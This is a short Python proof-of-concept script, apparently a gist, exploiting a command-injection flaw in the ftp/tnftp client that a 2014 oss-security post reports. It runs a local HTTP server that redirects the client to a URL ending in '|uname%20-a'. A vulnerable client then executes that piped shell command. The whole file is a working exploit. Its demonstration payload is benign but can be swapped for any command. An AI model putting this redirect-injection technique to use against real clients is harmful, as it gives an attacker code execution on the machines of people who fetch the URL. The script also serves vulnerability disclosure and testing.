ftp(1) / tnftp(1) RCE

gistfile1.py

#!/usr/bin/env python
#
# ftp http://127.0.0.1:8000/one
#
# As per http://www.openwall.com/lists/oss-security/2014/10/28/4
#

import SimpleHTTPServer
import BaseHTTPServer
import SocketServer

HOST = "127.0.0.1"
PORT = 8000


class X(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/one":
            print("one")
            self.send_response(302)
            self.send_header("Status", "302 Found")
            self.send_header("Content-Type", "text/html")
            self.send_header("Location", "http://{}:{}/stuff/|uname%20-a"
                             .format(HOST, PORT))
            self.send_header("Content-Length", "0")
            self.end_headers()
        else:
            print("two")
            data = "this is data"
            self.send_response(200)
            self.send_header("Content-Type", "text/html")
            self.send_header("Content-Length", len(data))
            self.end_headers()
            self.wfile.write(data)

httpd = SocketServer.TCPServer((HOST, PORT), X)

print "try: ftp http://127.0.0.1:8000/one in a separate term", PORT
httpd.serve_forever()